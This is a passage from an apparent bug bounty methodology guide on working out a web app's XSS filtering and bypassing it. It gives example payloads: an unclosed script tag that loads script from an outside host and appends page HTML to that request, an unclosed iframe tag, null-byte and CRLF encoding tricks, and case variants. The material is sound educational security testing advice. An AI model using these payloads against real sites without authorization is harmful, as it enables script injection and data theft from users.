Step Two: Reverse engineering the developers' thoughts
(this gets easier with time & experience)

This step is about getting into the developers' heads and figuring out what type of filter they've created (*and start asking.. why? Does this same filter exist elsewhere throughout the webapp?*). So for example if I notice they are filtering <script>, <iframe> aswell as "onerror=", but notice they **aren't** filtering <script then we know it's game on and time to get creative. Are they only looking for complete valid HTML tags? If so we can bypass with <script src=//mysite.com?c= - If we don't end the script tag the HTML is instead appended as a parameter value.

Is it just a blacklist of bad HTML tags? Perhaps the developer isn't up to date and forgot about things such as <svg>. *If it is just a blacklist, then does this blacklist exist elsewhere? Think about file uploads.* How does this website in question handle encodings? <%00iframe, on%0derror. This step is where you can't go wrong by simply trying and seeing what happens. Try as many different combinations as possible, different encodings, formats. The more you poke the more you'll learn! You can find some common payloads used for bypassing XSS on https://www.zseano.com/

Testing for XSS flow:
- How are "non-malicious" HTML tags such as <h2> handled?
- What about incomplete tags? <iframe src=//zseano.com/c=
- How do they handle encodings such as <%00h2? (There are LOTS to try here, %0d, %0a, %09 etc)
- Is it just a blacklist of hardcoded strings? Does </script/x> work? <ScRipt> etc.

Following this process will help you approach XSS from all angles and determine what filtering may be in place and you can usually get a clear indication if a parameter is vulnerable to XSS within a few minutes.